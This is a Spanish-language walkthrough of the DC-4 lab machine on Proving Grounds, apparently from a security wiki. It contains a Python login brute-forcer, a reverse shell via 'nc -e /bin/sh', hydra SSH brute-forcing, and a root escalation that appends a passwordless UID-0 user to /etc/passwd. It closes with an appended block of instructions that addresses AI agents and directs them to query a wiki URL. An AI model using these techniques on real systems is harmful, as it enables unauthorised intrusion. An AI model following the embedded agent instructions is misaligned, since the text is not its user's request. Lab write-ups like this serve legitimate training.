# DC-4
## Enumeración
### Servicios abiertos
Como siempre, comenzamos enumerando los servicios abiertos que tiene la máquina objetivo.
```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.98.195
```
Tres servicios abiertos, puertos 22,80. El siguiente paso será el escaneo profundo de estos servicios.
```
nmap -p22,80 -Pn -n -sVC -vvv 192.168.98.195
```
Servicios abiertos:
* Puerto 22 -> SSH -> OpenSSH 7.4
* Puerto 80 -> HTTP -> nginx 1.15.10
### Enumeración Web
La máquina DC:4 está ejecutando un servicio Web en el puerto 80. Vamos a enumerar su contenido.
Vemos un login de inicio de sesión. Podemos probar inyecciones y fuerza bruta para intentar acceder al sitio autenticado. Antes vamos a enumerar directorios y archivos de sistema.
```
feroxbuster -u http://192.168.98.195 -s200,301,302 -x html,txt,php -n
```
Nada interesante, solo algunas redirecciones que tendremos en cuenta más adelante.
Podemos echar un vistazo al código fuente del sitio Web en busca de evidencias.
Nada destacable. Volvamos al formulario de inicio de sesión.
## Explotación
### Acceso a Panel de Administrador
Dado que tenemos un formulario de inicio de sesión, vamos a tratar de encontrar las credenciales para conectarnos a la zona autenticada del sitio Web. Vamos a utilizar como nombre de usuario "admin" y el diccionario "rockyou.txt". El método normal sería utilizar el nombre de usuario y el diccionario en la herramienta Intruder de Burp, pero en la versión Community es muy lenta. Así que vamos a crear nuestro propio script para hacer fuerza bruta sobre el formulario.
```
#!/usr/bin/python3
import requests
import argparse
from itertools import product
def main(url, users_file, passwords_file):
with open(users_file, 'r') as uf:
users = [user.strip() for user in uf.readlines()]
with open(passwords_file, 'r', encoding='iso-8859-1') as pf:
passwords = [password.strip() for password in pf.readlines()]
for user, password in product(users, passwords):
payload = {'username': user, 'password': password}
response = requests.post(url, data=payload)
if 'Login failed' not in response.text:
print(f'Successful login! Username: {user}, Password: {password}')
break
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Brute-force credentials on a web form')
parser.add_argument('url', help='URL of the login form')
parser.add_argument('users_file', help='File containing a list of usernames')
parser.add_argument('passwords_file', help='File containing a list of passwords')
args = parser.parse_args()
main(args.url, args.users_file, args.passwords_file)
```
Ahora solo necesitamos la URL, un diccionario de nombres de usuarios y otro de contraseñas para poder ejecutar.
```
python3 brutelogin.py http://192.168.98.195 users "rockyou.txt"
```
Obtenemos las credenciales admin:123456. Vamos a probarlas en el formulario de login.
Esto parece interesante.
Se pueden ejecutar comandos en el sistema. Vamos a tratar de interceptar la petición con Burp para intentar ejecutar una shell reversa con "nc".
### Acceso al sistema
Interceptamos la petición con Burp.
El siguiente paso será cambiar el comando para enumerar con una shell con "nc".
```
nc -e /bin/sh IP PORT
```
Generamos la petición. Al mismo tiempo debemos poner a la escucha un oyente "nc" en le puerto 1234.
Obtenemos acceso al sistema como "www-data".
## Elevación de privilegios
### Pivotando a usuario "jim"
Vamos a enumerar. En el directorio donde se aloja el sitio Web no encontramos ningún archivo interesante. Nos desplazamos al directorio /home, donde encontramos tres directorios con los nombres de tres posibles usuarios de sistema: /charles, /jim y /sam. Primero comprobamos si son usuarios de sistema, consultando el archivo /etc/passwd.
Son los tres usuarios del sistema. Vamos a enumerar el contenido de cada uno de los directorios existentes.
En el directorio de "charles" no hay archivos que nos aporten vectores para continuar con la elevación.
Continuamos con el directorio del usuario "jim".
En este directorio encontramos varias cosas interesantes. Un directorio /backups, la flag local.txt y un ejecutable test.sh. Comenzamos por la flag local.txt
Seguimos por el archivo test.sh
Parece que nada interesante. Pero lo guardamos, puede ser interesante.
Vamos con el directorio /backups
Encontramos un archivo de respaldo con contraseñas. Vamos a copiarlas en un archivo de nuestra máquina de ataque.
Finalizamos la enumeración con el usuario "sam".
Tampoco vemos nada interesante.
Teniendo en cuenta que la información interesante la hemos encontrado en el directorio del usuario "jim" y que en la máquina se está ejecutando un servicio SSH, vamos a realizar otro ataque de fuerza bruta para tratar de encontrar la contrasela del usuario "jim" dentro del diccionario de passwords que hemos encontrado.
```
hydra -l jim -P old-passwords.bak 192.168.98.195 ssh
```
La contraseña para el usuario "jim" es "jibril04".
### Pivotando a usuario "charles"
Dentro del directorio del usuario "jim", encontramos un email.
Esto nos puede hacer pensar que existe una carpeta /var/mail. Vamos a tratar de enumerarla.
El directorio existe y contiene un archivo llamado "jim". ¿Sospechoso? Veamos su contenido.
Es otro email. Contiene una password (^xHhA\&hvim0y) que puede estar relacionada con el usuario "charles".
Pivotamos de "jim" a "charles".
### Pivotando a usuario "root"
Vamos a consultar si el usuario "charles" puede ejecutar algún archivo como "root" sin contraseña.
```
sudo -l
```
Después de la enumeración, verificamos los permisos de sudo para "charles2 y descubrimos que puede ejecutar el editor teehee como root sin contraseña. Vamos a añadir a "securiters" en el archivo etc/passwd utilizando echo y teehee de la siguiente manera:
```
echo "securiters::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su securiters
```
Solo queda buscar la flag proof.txt
Y ya estaría acabada la máquina DC-4 de la plataforma Proving Grounds.
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/dc-4.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.